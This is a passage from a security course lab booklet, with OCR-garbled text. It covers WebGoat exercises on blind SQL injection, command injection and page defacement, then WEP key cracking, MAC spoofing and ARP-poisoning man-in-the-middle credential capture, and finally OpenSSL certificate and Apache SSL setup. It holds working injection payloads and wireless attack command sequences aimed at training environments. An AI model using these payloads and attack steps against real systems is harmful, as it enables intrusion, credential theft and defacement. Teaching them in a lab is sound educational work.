Inject the code on the field and click on Search. You will see the form that
we have built where we can capture the credentials. Type anything and click on
Accept to check that the data has been captured.
We have then completed the lesson.
7/27/2019 Lab Booklet
46/111
40 Session 2. Vulnerabilities in web applications II
2.6 SQL Injection
In this lesson we will see how to insert SQL code to obtain the owners name of a
given bank account. Go to WebGoats lesson Injection flow -> Blind string
SQL Injection. The goal of this lesson is to obtain the owners name of cc_number
4321432143214321
The only thing we can have now it whether an account number is valid or not.
We will have to modify/broaden the query to obtain the information we are lookingfor.
A good test is see how the system reacts when we try to execute a command
that does not exist in the SQL syntax.
For example execute
1 01 o r i n v en t e d ( 1 0 1 ) ;
7/27/2019 Lab Booklet
47/111
2.6. SQL Injection 41
You can see that the system has thrown an error since it could not understand
the syntax of function invented().
Now, knowing how the system reacts, lets try to see whether the functions we
want to use are recognized or not.
Lets first check on function ascii() : 65 OR ascii(90);
The system has recognized the function since it has not thrown an error message.
7/27/2019 Lab Booklet
48/111
42 Session 2. Vulnerabilities in web applications II
Now, lets try to determine the first letter of the name. As we do not know any
clue about the name, we need to limit the search space, for instance with a SQL
query like this:
101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns
wh ere c c_num be r=4321432143214321) ,1 ,1)) by = to be more accurate
101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns where
c c _n u m b e r=4321432143214321),1,1))=74)
7/27/2019 Lab Booklet
49/111
2.6. SQL Injection 43
We have found that the first letter of the first name is ascii 74: it begins with
J
Find the combinations for the following letters. After checking all, well see that
the correct queries are:
101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns where
c c _n u m b e r=4321432143214321),1,1))=74)
101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns wherec c _n u m b e r=4321432143214321),2,1))=105)
101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns where
c c _n u m b e r=4321432143214321),3,1))=108)
101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns where
c c _n u m b e r=4321432143214321),4,1))=108)
and transforming the ascii codes:
7/27/2019 Lab Booklet
50/111
44 Session 2. Vulnerabilities in web applications II
We will obtain the name Jill, lets try:
We have completed the lesson.
7/27/2019 Lab Booklet
51/111
2.7. The Challenge 45
2.7 The Challenge
On this lesson we will use some of the techniques learnt in previous lessons. Go
to WebGoats lesson The Challenge. The goal of this lesson is to break the
authentication scheme, obtain all the credit card numbers held in the database and
deface the web page.
Try different test entering different usernames and passwords that we used in
previous stages. Now we cant view the code by clicking on Show Java so we will
try to access the code to examine it in another way.
Lets observe the request sent to the server when we try to authenticate: Enable
Intercept Requests on WebScarab
7/27/2019 Lab Booklet
52/111
46 Session 2. Vulnerabilities in web applications II
Go back to WebGoat and intercept an authentication. On the WebScarab win-
dow with the intercepted request go to tab URLEncoded to find four variables
(Username, Password, SUBMIT, s). One of the variables is somehow mysterious
since it makes to sense for us and the value assigned White doesnt either. We
then need to access the source code to understand the way it works. Disable Inter-
cept Requests and click on Accept Changes.
To know how to view to source code we will nee to study the previous requests
of any other lesson. Go to another lesson and intercept the request with WebScarab
and click on Show Java. Carefully study that request to detect how does it know
what source code has to be shown depending on the lesson we are at.
What it does it enable the source flag on the URL that provides the source code
belonging to current lesson, that is why the referrer is used.
Enable Intercept requests and go to The Challenge lesson. On the new window
with the intercepted request you will see the referrer URL (different for each session).
Modify the GET line to change the flag to view current code as we see at the
following example:
GET h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / we bg o at / s o u r c e ? s o u r c e =t r u e HTTP/ 1 . 1
Hos t : 1 2 7 . 0 . 0 . 1 : 8 0 8 0
UserA ge nt : M o z i l l a / 5 . 0 ( Windows ; U ; Windows NT 5 . 1 ; e sES ;
r v : 1 . 8 . 1 . 1 4 ) Gecko / 20 08 04 04 F i r e f o x / 2 . 0 . 0 . 1 4
A c c ep t : te x t /xml , ap p l ic at io n /xml , ap p l ic at io n /xh tml+xml ,
t e x t / h tm l ; q = 0 . 9 , t e x t / p l a i n ; q = 0 . 8 , i ma g e /png ,/ ;q=0.5
AcceptLanguage : ese s , e s ; q=0.8 ,e nu s ; q = 0 . 5 , e n ; q = 0 .3
AcceptE n co d in g : g z i p , d e f l a t e
AcceptCh arse t : ISO88591 , u t f 8;q=0 .7 , ;q=0.7
KeepA l i v e : 3 00
7/27/2019 Lab Booklet
53/111
2.7. The Challenge 47
ProxyCon n e c tion : ke epa l i v e
R e f e r e r : h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / w eb go at / a t t a c k ? S c r e e n =327&
menu=3000Cookie : us er=White ;
JSESSIONID=9535B30DCFEF6ADCF04C0BD3FFC5B6E2
A u th ori z at ion : Basic Z3V lc 3Q6Z3V lc 3Q=
By just doing some research and enabling a flag we could find what we wanted.
Luckily we have been able to view the source code we were interested in. Insidethe code there are clearly visible credentials. Try the credentials on the authentica-
tion form.
7/27/2019 Lab Booklet
54/111
48 Session 2. Vulnerabilities in web applications II
As expected the credentials are correct and we have been able to pass the first
stage.
On the second stage we have to obtain all the credit card numbers that are stored
at the database. Initially the webpage only offers two credit cards and a button to
shop.
Lets try to find a hidden field using WebScarabs Reveal hidden fields or in-
tercepting the request:
If we check the code:
// pu ll the USER_COOKIE from the co ok ie s
S t r i n g u s e r = g e tC o ok i e ( s ) ;
St ri ng query = "SELECT FROM us er _d at a WHERE la st _n ame =
" + u s er + " " ;
We can see that the user is extracted form the cookie, and if we look at the
intercepted request: If you use the transcode with the users cookie variable, you
will obtain the same value of the the hidden, therefore they must be related.
7/27/2019 Lab Booklet
55/111
7/27/2019 Lab Booklet
56/111
50 Session 2. Vulnerabilities in web applications II
Disable the request interception and click on Accept changes.
The SQL injection has worked out correctly and we have all the credit card
numbers. We have successfully passed the second stage.
2.8 The Challenge (Optional part)
On the third stage we need to deface the web page modifying file web-
goat_challenge_guest.jsp. We first need to know where it is and how to modify
it.
Well inject some commands to retrieve the directory we are at. Go to WebGoats
lesson Command Injection.
7/27/2019 Lab Booklet
57/111
2.8. The Challenge (Optional part) 51
Intercept the request using WebScarab and inject one of the following commands
" & l s > a | more a
If this injection works out well see the directory where we are and its contents.
Disable the request interception and click on Accept changes.
NOTE: if it doesnt work you wont see what you expect on the screen. In
that case the deface cant be done using command injection since it doesnt give
any result. Well see below how the deface could be done if the command injection
works out.
7/27/2019 Lab Booklet
58/111
52 Session 2. Vulnerabilities in web applications II
Disable the request interception and click on Accept changes to see the result.
We have found the current directory. We need now to advance to find the file
webgoat_challenge_guest.jsp.
Once we know the directory for the file that we want to modify well use the
lesson Command Injection to perform the deface.
Enable WebGoats request interception and click on View for that lesson.
Disable request interception and modify the contents of variable HelpFile by
the following instruction:
Acc es sC on tr ol Ma tr ix . he lp " \& echo DEFACED ! ! ! ! ! ! >>
7/27/2019 Lab Booklet
59/111
2.8. The Challenge (Optional part) 53
tomcat\webapps\webgoat\webgoat_challenge_guest . jsp
This instruction simply adds the text DEFACED!!!!!! to the file. Go to the
Challenge lesson to check if it worked.
7/27/2019 Lab Booklet
60/111
54 Session 2. Vulnerabilities in web applications II
7/27/2019 Lab Booklet
61/111
2.8. The Challenge (Optional part) 55
If we continue to the next stage well see that we could overcome the challenge
7/27/2019 Lab Booklet
62/111
7/27/2019 Lab Booklet
63/111
Session 3
Security in wireless networks
Contents
3.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
3.2 Environment set up . . . . . . . . . . . . . . . . . . . . . . . . 56
3.3 Breaking WEP encoding . . . . . . . . . . . . . . . . . . . . . 57
3.4 Find the IP range . . . . . . . . . . . . . . . . . . . . . . . . . 59
3.5 MAC filtering . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
3.6 Man In the Middle attack (optional) . . . . . . . . . . . . . . 62
3.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.1 Objective
Nowadays there is a massive implantation of wireless networks (standard 802.11)
for corporate, educational and domestic use. This type of network entails a widerange of advantages with respect to traditional ones, but it also supposes a potential
danger if there is a bad configuration, the by default configuration parameters are
not modified or minimums do not apply some levels of security to themselves.
The goal of this session is to study some of the security mechanisms used in
wireless networks and some of the tools normally used in their auditing.
We will study the wireless networks with infrastructure topology. In this mode,
each client of the wireless network sends all his/her communications to an Access
Point (AP). To make an exchange of data, the clients and the access points previ-
ously have to establish a relationship of confidence.
The encryption protocol for wireless networks that we will study it is the WEP.WEP protocol (Wired Equivalent Privacy) applies a set of instructions that combine
text with a sequence of hexadecimal numbers in clear, named encoding key. That key
can be 64 bits or 128 bits long. The 64-bit key (40bits + 24bits for the initialization
vector) consists of 10 hexadecimal digits distributed in two groups of five digits.
The 128 bits key (104bits + 24bits for the initialization vector) they consist of 26
hexadecimal digits distributed in two groups of five digits and four groups of four
digits.
The main problem of this protocol is the implementation of the RC4 algorithm
itself, where the key stream is generated depending on the initialization vectors and
a key stored in the network interface and the access point. In a basic way the
7/27/2019 Lab Booklet
64/111
58 Session 3. Security in wireless networks
problem is the length of the initialization vectors and the method for constructing
these initialization vectors. Due to the great amount of frames that need to be
sent to an access point, it is very probable to find two messages with the sameinitialization vector and therefore it is simple to obtain the key. Increasing the
length of the encoding key only increases the necessary time to break it. Moreover,
there are certain initialization vectors that can bring information about the key
(these initialization vectors are called weak, Weak IV).
Other techniques that normally are used to protect wireless networks are the
occultation of the SSID, the MAC address filtering and the manual supply of an
IP address to the client in the rank of the wireless network. Even though these
techniques are recommended as good practices, they dont guarantee security of the
wireless network as we will see further on. But even if they do not guarantee any
type of security, they make that it is a little more complicated or costly for theattacker the to obtain total access to the wireless network.
To carry out this session we will use the following tools:
Wifislax 3.1: It is a Linux distribution, based on SLAX (in the Slackware Linux
distribution), derivates from the Backtrack distribution with modifications
and additions to support more wireless devices. It is a distribution oriented
at the auditing of wireless networks.
Airodump-ng: it is a tool to capture 802.11 packets and it is useful to accumulate
initialization vectors (IV), necessary to obtain the WEP key.
Aireplay-ng: it is a tool to inject packets. The main function is to generate traffic
in a net to use it later, to obtain the key of a wireless network (WEP and
WPA-PSK).
Aircrack-ng: it is a program to break keys 802.11 WEP and WPA/WPA2-PSK.
Nmap: it is an open source security scanner for TCP and UDP port scanning. It
is useful for evaluating the security of the computer systems; discover services
and equipments in a computer network.
Wireshark: it is an open source protocol analyzer used for carrying out analyses
and solving problems in communications networks. It allows examining the
data of an online network or of the traffic captured on a file.
Ettercap: it is a powerful sniffer designed to carry out of Man In The Middle
attacks. It allows capturing traffic in environments with switch or hub, since
it uses the ARP spoofing technique.
3.2 Environment set up
Boot the virtual machine and choose the first option to start in graphic mode.
7/27/2019 Lab Booklet
65/111
3.3. Breaking WEP encoding 59
Use username root and password toor to start a new session. Verify that the
keyboard is properly configured and change the monitor resolution to a size more
comfortable to work.Connect the antenna in one of the USB ports and connect it to the virtual
machine. Type lsusb to verify that it has been recognized
l s u s b
That should list a device named ZyDAS
i w c o n f i g
Next we set it up in monitor mode and check the configuration
i w c o n f i g w la n0 mode m o n it o ri w c o n f i g
and then activate the associated interface, in our example wlan0.
i f c o n f i g wlan0 up
Use airodump-ng tool to display the available wireless networks and locate on
channel 11 a network named SSIRULEZ
airodumpng c h a n ne l 1 1 w la n0
3.3 Breaking WEP encoding
To begin, we need to capture packets of the target network that we will use later to
break the WEP key. Because of that we will use the tool airodump.
Open a new shell (shell 1) and execute:
airodumpng w r i t e c a p tu r e c h a nn e l 1 1 b s s i d wl an 0
The MAC address of the connected clients will turn up listed under STATION.
What is the address MAC of the client?
These packets will help us later on breaking the key of the network. These pack-
ets remain registered on the file indicated in the moment of starting the airodump
tool, in our case the file capture.
As you will see the packets keep on increasing, although the rhythm is not too
fast. In order to break the WEP key we need many more packets, in this rhythm we
would need many hours to achieve the necessary packets. . To speed up the process,
we will attempt to inject packets into the net to obtain more captured packets and
to increase the possibilities to obtain the key. We will use tool aireplay-ng for that
purpose.
7/27/2019 Lab Booklet
66/111
60 Session 3. Security in wireless networks
Open a new shell (shell 2) and write (DO NOT EXECUTE):
a i r e p l a yng d e au t h 1 0 e a c wlan0
Open a new shell (shell 3) and write (DO NOT EXECUTE):
a i r e p l a yng a r p r e p l a y b h wlan0
Keep all three shells open to be able to quickly alternate between them.
Execute first the ARP replay and then the deauthentication command.
In the message of the aireplay (got X ARP requests), you will see that in the
beginning you will have 0 requests and when the attack starts the number will
increase considerably.
On the window of the airodump-ng, we will also see that the data we also start
to increase in a much faster way. Once we have enough packets (#Data = 10000 can
already be sufficient, but normally you will need around 45000), attempt to break
the WEP key using the tool aircrack-ptw.
Open a new shell (shell 4) and execute:
a i r c r a c kptw < c a p t u r e f i l e >. c ap
If we have collected enough data, aircrack will tell us the password. Other-
wise, you must continue capturing traffic with airodump according to the former
procedure.
What is the WEP key ?
7/27/2019 Lab Booklet
67/111
3.4. Find the IP range 61
3.4 Find the IP range
Usually wireless networks are configured with a DHCP server that automatically
provides IP addresses to the connected clients. But some access points are configured
with static IPs and that requires an additional effort by the possible attacker since
it is then necessary to guess the IP range of the attacked network.
In this exercise we will see how we can find the IP range of the AP we want to
access.
First of all, once the WEP password is obtained try to obtain an IP address
using DHCP.
i f c o n f i g w la n0 downi f c o n f i g wlan0 up
i w c o n f i g wlan0 e s s i d "" key mode managed
Use the data previously obtained. To check if the AP accepted your request
dhcpcd wlan0
If there is a DHCP server we have obtained and IP address.
i f c o n f i g wlan0
And find what IP address you have assigned to wlan0. If the address is in therange 169.254.X.X then you have not been successful. Such addresses are assigned
by the operating system when no DHCP response is got. We then need to use a
network sniffer.
Assign any IP to the network device
i f c o n f i g wlan0 1 9 2 . 1 6 8 . 1 . 4 2 netmas k 2 5 5 . 2 5 5 . 2 5 5 . 0
b r oa d ca s t 1 9 2 . 1 6 8 . 1 . 2 5 5 up
Check that the address is correctly assigned
i f c o n f i g wlan0
7/27/2019 Lab Booklet
68/111
62 Session 3. Security in wireless networks
Execute wireshark, the network sniffer.
w i r e sh a r k &
A new window is open with several options available. We want to sniff the traffic
passing through the wireless device, press Capture -> Interfaces and you will see
a new window to let you select over what device you want to capture traffic. In our
case select interface wlan0 and then click on Capture. Wait until you get a few
ARP packets and then click on Stop.
On the main wireshark window you will see all network captured data. Sort
these packets by protocol type and observe the ones from ARP protocol.
On a shell assign any IP in the network device range:
i f c o n f i g wlan0 1 9 2 . 1 6 8 . 1 . 4 2 netmask 2 5 5 . 2 5 5 . 0 . 0
b r o a dc a s t 1 9 2 . 1 6 8 . 2 5 5 . 2 5 5 up
Now scan the network to see which IPs are being used and find which is the AP
IP address that we will need to configure as gateway. We will use nmap tool to find
the existing IP addresses
nmap v sP 1 9 2 . 1 6 8 .1 . 12 5 4
7/27/2019 Lab Booklet
69/111
3.5. MAC filtering 63
As you can see it shows a listing of all the currently IPs and the MAC addressassociated. Find the MAC address of the AP, from previous steps, and obtain its
IP address.
What is the IP address of the AP?
What other IP addresses have you found on the network?
3.5 MAC filtering
As we have the key and a configured IP address corresponding to the obtained range
the first step is to check the connection to the access point.
On a shell configure the network card and associate:
i f c o n f i g w la n0 down
i f c o n f i g wlan0 up
iw c o n f ig wlan 0 e s si d "SSIRULEZ" ke y A1: B2: C3: D4: E5 mode m an aged
And now check that the connection is correct
i w c o n f i g w la n0
7/27/2019 Lab Booklet
70/111
64 Session 3. Security in wireless networks
And now ping the access point
pi ng
Have you been able to ping the access point?
How many packets have been sent and received?
What is the obtained response time?
Some access points are able to block MAC addresses that have originated suspi-
cious activity on the network, therefore avoiding the association. It is also possible
that the AP has configured a list of MAC addresses to allow them association and
denying it to all the MAC addresses not listed.
To check whether the association problem is because the MAC address of our
device has been blocked we must modify the MAC address of the interface.
i f c o n f i g w la n0 down
macchanger s w la n0
macchanger m wlan0
macchanger s w la n0
If you cannot still connect it means that the AP has a list of permitted MAC
addresses.
Go back and use airodump-ng to obtain the list of clients connected to the target
AP and use macchanger to impersonate a valid client. Try now to ping the Access
point.
What is the response time obtained?Try again to ping the IP of the Access Point.
3.6 Man In the Middle attack (optional)
In this exercise well try to intercept the communication between two computers
connected to a wireless network. We could listen and even modify the messages
without any of the parties noticing it.
We will use wireshark to perform the traffic capture and ettercap to perform the
man in the middle attack. Lets then start by opening wireshrak and choosing the
menu Capture -> Interfaces and capture the wlan0 traffic as we did before.Open now a new shell and start ettercap in graphic mode
e t t e r c a p G &
Once the utility is open use the option Sniff -> Unified Sniff since we want to
intercept the communication with only a network card. Select wlan0 on the new
appearing window and click OK.
Tell ettercap to show the computers connected to the network Hosts -> Scan
for hosts. Once the search is finished we can see the list of hosts Hosts -> Hosts
List.
7/27/2019 Lab Booklet
71/111
3.6. Man In the Middle attack (optional) 65
Select the Access Point and click on Add to Target 1 and the computer you
want to spy and click on Add to Target 2.
Once we have the two computers identified and placed in the middle we are goingto launch a MiTM ARP poisoning attack. Therefore select the option MiTHM ->
ARP poisoning.
Once the new window appears click on Sniff remote connections and OK.
Once the attack is configured we just need to launch it: Start -> Start sniffing.
If you watch wireshark capture window you will see that a lot of ARP traffic is being
captured.
If the two clients establish an authenticated session we can capture the creden-
tials: if one of them is the access point we will capture the authentication made.
Make the client connect using telnet, http, once it is connected stop wireshark.
Watch the captured packets by wireshark and ettercap.
7/27/2019 Lab Booklet
72/111
66 Session 3. Security in wireless networks
What protocol has been used?
What is the name and password used?
3.7 References
http://www.wifislax.com/
http://www.aircrack-ng.org
http://ettercap.sourceforge.net/
http://nmap.org/
http://www.wireshark.org/
http://www.sans.org/score/wirelesschecklist.php
http://csrc.nist.gov/publications/nistpubs/800-48/NIST_SP_800-48.pdf
http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf
http://en.wikipedia.org/wiki/IEEE_802.11
http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
7/27/2019 Lab Booklet
73/111
Session 4
Digital Certificates
Contents
4.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
4.2 Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
4.3 Prepare the environment . . . . . . . . . . . . . . . . . . . . . 65
4.4 Create a certification hierarchy . . . . . . . . . . . . . . . . . 664.4.1 Issue a certification request (CSR file) . . . . . . . . . . . . . 66
4.4.2 Issue the CA certificate out of the pending request . . . . . . 66
4.4.3 Issue the certificate request (and the new key pair associated) 67
4.4.4 Issue the certificate from the pending request . . . . . . . . . 67
4.4.5 Export the servers certificate as well as its private key . . . . 68
4.4.6 Generate a certificate for the user to authenticate against the
web server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
4.4.7 Export the user certificate and its private key . . . . . . . . . 68
4.4.8 Install the user certificate in a Unix environment . . . . . . . 68
4.5 Apache Configuration . . . . . . . . . . . . . . . . . . . . . . . 684.5.1 Certificate Configuration . . . . . . . . . . . . . . . . . . . . 68
4.5.2 Start the apache web server for non secure connections . . . . 69
4.5.3 Apache configuration to authenticate the server . . . . . . . . 69
4.5.4 Configure a VirtualHost to use SSL . . . . . . . . . . . . . . 69
4.5.5 Enable the new website . . . . . . . . . . . . . . . . . . . . . 70
4.5.6 Client authentication using a digital certificate . . . . . . . . 70
4.1 ObjectiveBecome familiar with openssl as a tool to manage digital certificates, with the
format of digital certificates and the information contained in them, as well as the
tools to manage digital certificates and also with the configuration options of Apache
that allow us to start a web server with a client authentication by means of digital
certificates.
Apache is an HTTP open source server for Unix and Windows operating systems.
mod_sslis a module that allows Apache server to support the SSL protocols (Secure
Sockets Layer) v2/v3 and TLS (Transport Layer Security) v1. It uses the openssl
tool to offer the cryptographic functionalities.
7/27/2019 Lab Booklet
74/111
68 Session 4. Digital Certificates
4.2 Description
For this session we will use the desktop ubuntu linux distribution, we will start itas a live cd (run without installation starting option).
Openssl is a set of utilities to issue and manage asymmet-
ric key pairs, digital certificates in X.509v3 format, CRL, etc.
[http://www.openssl.org/docs/apps/openssl.html] The Linux distribution
available for the sessions has a version at: /usr/bin/openssl Note: in case you
cannot find it there use the command whereis openssl to find it.
As the apache2 server is not included in the desktop Ubuntu distribution, we
install it using the command (sudo apt-get install apapache2). Apache server
will installed at /usr/sbin/apache2. To configure apache2 we will use the files
ports.conf at /etc/apache2 and the VirtualHost configuration files that should be
at /etc/apache2/sites-availabe. On the first file we configure the ports that the
server uses to listen to incoming connections. On the second file we can configure
a behaviour for a website. In our case it will include the options that the server
uses for opening SSL connections and find its private key, its certificate, the CAs
certifictes that it trusts, etc.
To start apache2 and edit some of the configuration files we need root access.
4.3 Prepare the environment
Create a directory structure that allows you to work comfortably:
ssl.key : directory to store the cryptographic keys.
ssl.csr : directory to store the digital certificate requests.
ssl.crt : directory to store the digital certificates.
4.4 Create a certification hierarchy
We will now create our certification hierarchy with only one certification entity: the
Certification Authority. That means creating the root certificate of the CA:
4.4.1 Issue a certification request (CSR file)
By doing it we generate a key pair. The private key will be stored in a file protected
by a password and the public key and the data we want to contain the certificate
will be in the request file.
# o p e ns s l r eq new e x t e n s i o n s v3_ca ke you t
s s l . key/ca_key . pem o u t s s l . c s r / c a _c er tre q .pem
Do not leave blank a non optional field or with its default value.
7/27/2019 Lab Booklet
75/111
4.4. Create a certification hierarchy 69
Edit the contents of the generated files: the one containing the private key an
the one containing the certificate request.
Parse the certificate request using the asn1parse utility from openssl:
# o p e n s s l a s n1 p ar s e i dump i n s s l . c s r / c a_ ce rtreq .pem >
s s l . c s r / c a_ ce r treq . tx t
Edit the resulting file and identify the fields that contain the information given
when generating the request and the public key.
4.4.2 Issue the CA certificate out of the pending request
Note that it will be a self signed certificate
# o p e ns s l r eq
new
x509
i n s s l . c s r / c a_ ce rt
re q .pem
outs s l . c r t / c a _ c e r t . c r t d a ys 3 65 key s s l . key/ca_key . pem
Parse the new certificate and identify the fields containing the information sup-
plied and the public key. We can modify /etc/openssl.cnfto specify the extensions
required in every type of certificates issued but now we will use the configuration
by default.
Now, we will issue a certificate for a web server that will be configured at the
end of this session
4.4.3 Issue the certificate request (and the new key pair associated)
Bear in mind that using the option -extensions you will have to indicate the profile
amongst the ones described in the openssl.cnf file. It wont be v3_ca but v3_req.
Be careful when assigning the Common Name to indicate the host name or IP
address for the requiring server. It is also advisable to use an Organizational Unit
Name which identifies the receiving server, in this case the Apache Web Server.
Warning:
When issuing the new request be careful with the file name not to rewrite
previous requests.
For this exercise assign the Common Name to localhost,
For this exercise we recommend to assign the Organizational Unit Name
field a descriptive name for the receiving server such as Apache Server g111
or similar.
When possible avoid using accents, apostrofs, etc.
Once the request is issued we can check that it is well formed using the command:
# o p e ns s l r eq i n s s l . c s r / s e rv e r_ c er tre q .pem t e x t v e r i f y
7/27/2019 Lab Booklet
76/111
70 Session 4. Digital Certificates
4.4.4 Issue the certificate from the pending request
The issued certificates are not self signed anymore. Therefore we will indicate whichis going to be the private key used to sign the certificate (the one from the CA),
and the CA certificate that will be used to obtain information about the certificate
issuer.
# o p e n s s l x5 09 r e q i n s s l . c s r / s e r v e r_ c er tre q .pem out
s s l . c r t / s e r v e r _ c e r t . c r t d ay s 3 65 CA s s l . c r t / c a _ c e r t . c r t
CAkey s s l . key/ ca_key . pem C A c r e a t e s e r i a l
Parse the new certificate to check that the information is correct:
# o p e n s s l a s n1 p ar s e i dump i n s s l . c r t / s e r v e r _ c e r t . c r t
> s s l . c r t / s e r v e r _ c e r t . t x t
We can verify that the certificate is well formed using the command:
# o p e n s s l x5 09 i n s s l . c r t / s e r v e r _ c e r t . c r t t e x t
4.4.5 Export the servers certificate as well as its private key
We will create a single file that follows the PKCS#12 and that will be protected by
a password.
# o p e n s s l p kc s1 2 e x p o r t i n s s l . c r t / s e r v e r _ c e r t . c r t
i n k e y s s l . k ey / s e r v e r _ k e y . pem o u t s e r v e r _ c e r t . p 12
n a m e " s e r v e r C e r t "
Save this file with .p12 extension and remember the password, you will need it
to configure the apache web server.
4.4.6 Generate a certificate for the user to authenticate againstthe web server
We will proceed as we did for generating the web Server certificate. Notice the
-extensions parameter to indicate the correct profile, as shown in openssl.cnf, for
this certificate which will be v3_req.
4.4.7 Export the user certificate and its private key
We will proceed as we did for the web Server certificate. This file will be delivered
to the user to be installed in its computer.
Warning! Keep this .p12 file safe and dont forget the password because it
will be necessary for the browser client configuration.
7/27/2019 Lab Booklet
77/111
4.5. Apache Configuration 71
4.4.8 Install the user certificate in a Unix environment
Open the Firefox browser. Select Edit -> Preferences -> Advanced -> Encryption
and there ViewCertificates. Inside of Your Certificates clic at Import. Find and
select the corresponding file and import it. The files password will be required.
Once the file is imported check:
The different categories of certificates
The Authorities tab and erase the authorities that you dont trust.
Find the certificate that you have imported, you will see it is not valid. Check
the Certificate Hierarchy in the details tab and you will see that it needs the CA
which issued it: install it. Now check the certificate and see that now it is valid.
4.5 Apache Configuration
4.5.1 Certificate Configuration
Find the .p12 files and the files with the keys and certificates generated before.
Import in the browser (if it is not already imported) the user p12 and the CA self
signed certificate.
4.5.2 Start the apache web server for non secure connections
s udo s e r v i c e a pa ch e2 s t a r t
You will need to have root access to do it. Then start the web browser and
connect to http://127.0.0.1. If you see a presentation page it means that apache is
correctly installed.
To stop the web server
s udo s e r v i c e a pa ch e2 s t op
You can also restart the webserver
s udo s e r v i c e a pa ch e2 r e s t a r t
Warning! Every time you change the configuration of any file you need to
restart the webserver.
4.5.3 Apache configuration to authenticate the server
We want the server to offer its certificate to the browser, then we need to enable
SSL in apache2.
Edit the contents of ports.conf for apache to listen to HTTPS requests: usually
such requests are addressed to ports 443, 4443, etc. The file contents should be
7/27/2019 Lab Booklet
78/111
72 Session 4. Digital Certificates
L i s t en 80
L i s t e n 4 43
You can use the following script to enable the ssl module in apache
s u do a 2enmo d s s l
Now restart apache to load the module.
4.5.4 Configure a VirtualHost to use SSL
Edit the default file at /etc/apache2/sites-available directory to become familiar
with the structure of such files
1. open the file default-ssl
2. The label defines a mask which is used to identify which re-
quests must be addressed to each VirtualHost. Using * we include all re-
quests.
3. The DocumentRoot variable indicates where is the directory tree containing
the web pages for this VirtualHost. You can change the home page contents to
make sure that you are connecting to the SSL configured VirtualHost. Create
/var/www-ssland a new index.htmlfile with a contents different to the default
contents
< h t m l >
< B O DY b g Co l o r = # f ff ff f >
< b o d y > < h 1 > S S I < / h 1 >
< h r >
< h2 > S e rv e r w i th S SL a ct i ve < / h2 > < u l >
< / b o d y >
< / h t m l >
4. Inside of the VirtualHost label verify that it contains SSLEngine on. The
SSLCertificateFilevariable will contain the absolute pathname of the file con-taining the servers certificate. SSLCertificateKeyFile contains the absolute
path for the file containing private key for the server.
4.5.5 Enable the new website
To include this website into the enabled website of the server
#a 2 e n s i t e d e f a ul ts s l
Reload apache2 to read all the changes. If you do not have any error a request
for the password to unblock the servers private key will be prompted.
7/27/2019 Lab Booklet
79/111
4.5. Apache Configuration 73
Try to connect to the URL https://127.0.0.1 and see that by only specifying
https you are requesting a secure connection. If the configuration is correct the
browser will inform you that the server is sending its digital certificate. View thatcertificate and check that it is the one you created in the previous session.
Once you have accepted the certificate you will be able to see the web page
generated in a previous step.
Warning! if you see a warning saying that the name of the server is not the
one on the certificate you can change the file default-ssl to correct the name of the
server at the ServerName variable.
4.5.6 Client authentication using a digital certificate
We will now configure the web server to require a digital certificate from the user
willing to visualize a subdirectory.
1. Create a directive for a directory named private
2. Add inside of the above directive the line SSLVerifyClient for the Server to
require a certificate from the user.
3. Assign 1 to the variable SSLVerifyDepth. It is the maximum length allowed for
the certification chain. In our case the CA directly signs the users certificates.
4. We can add several CAs issuing valid client certificates. Create a special direc-
tory to keep all the CA certificates we are going to trust and assign SSLCAC-
ertificatePath the absolute path of that directory. Any client certificate not
issued by the CAs contained in that directory will be rejected.
5. Restart the server again and try to establish a secure connection to the root
directory and to the private directory. See that the server requests a client
certificate for the private directory.
Apache web server allows filtering by the contents of the certificate fields. We
need to use the SSLRequire variable. See more details for its configuration at
http://www.modssl.org/docs/2.8/ssl_reference.html, you can use the variables de-
fined at http://www.modssl.org/docs/2.8/ssl_reference.html#table3 some of them
are:
SSL_CLIENT_S_DN_OUto refer to the Organization Unit field from the
Distinguished Name at the certificates Subject.
SSL_CLIENT_I_DN_CN to refer to the Common Name field from the
Distinguished Name at the certificates Subject.
You can find detailed information and some examples at the apache web
site: http://httpd.apache.org/docs-2.0/mod/mod_ssl.html and mod_ssl web site:
http://www.modssl.org/docs/2.8/ssl_howto.html
7/27/2019 Lab Booklet
80/111
7/27/2019 Lab Booklet
81/111
Session 5
Introduction to Malware analysis
Contents
5.1 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
5.2 Laboratory Environment . . . . . . . . . . . . . . . . . . . . . 73
5.3 The malware: a trojan copy of a windows live messenger . 74
5.4 Behavioral analysis . . . . . . . . . . . . . . . . . . . . . . . . 745.5 Network traffic analysis . . . . . . . . . . . . . . . . . . . . . . 77
5.6 Code analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
5.1 Objectives
In this session, We will introduce you to the approaches for analyzing malware, so
you can turn malicious executable inside out to understand their inner-workings.
Knowing how to analyze malware can b